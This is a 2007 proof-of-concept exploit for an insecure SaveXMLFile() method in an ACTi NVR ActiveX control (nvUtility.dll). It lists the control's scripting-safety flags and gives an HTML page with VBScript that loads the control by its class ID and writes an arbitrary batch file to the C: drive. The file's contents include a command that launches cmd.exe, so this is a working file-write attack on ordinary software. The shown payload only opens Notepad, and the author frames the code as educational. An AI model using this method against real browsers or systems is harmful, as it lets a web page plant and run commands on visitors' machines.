nvr-savexml-method.txt
Posted on 28 August 2007
-------------------------------------------------------------------------------------------- NVR SP2 2.0 nvUtility.Utility.1 (nvUtility.dll v. 1.0.14.0) "SaveXMLFile()" Inscure Method url: http://www.acti.com/index.asp author: shinnai mail: shinnai[at]autistici[dot]org site: http://shinnai.altervista.org This was written for educational purpose. Use it at your own risk. Author will be not be responsible for any damage. Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7 all software that use this ocx are vulnerable to this exploits. This control is marked as: RegKey Safe for Script: False RegKey Safe for Init: False Implements IObjectSafety: True IDisp Safe: Safe for untrusted: caller KillBitSet: Falso -------------------------------------------------------------------------------------------- <object classid='clsid:A0D43FB0-116B-47AB-80FB-6DCFA92A03E3' id='test'></object> <input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <script language='vbscript'> Sub tryMe Dim mStr Dim MyMsg mStr = "echo off" & vbCrLf & _ "cls" & vbCrLf & _ "echo Hello World!" & vbCrLf & _ "cmd.exe /c notepad.exe" & vbCrLf & _ "pause" test.SaveXMLFile "c:shinnai.bat", mStr MyMsg = MsgBox("Exploit completed!") End Sub </script>
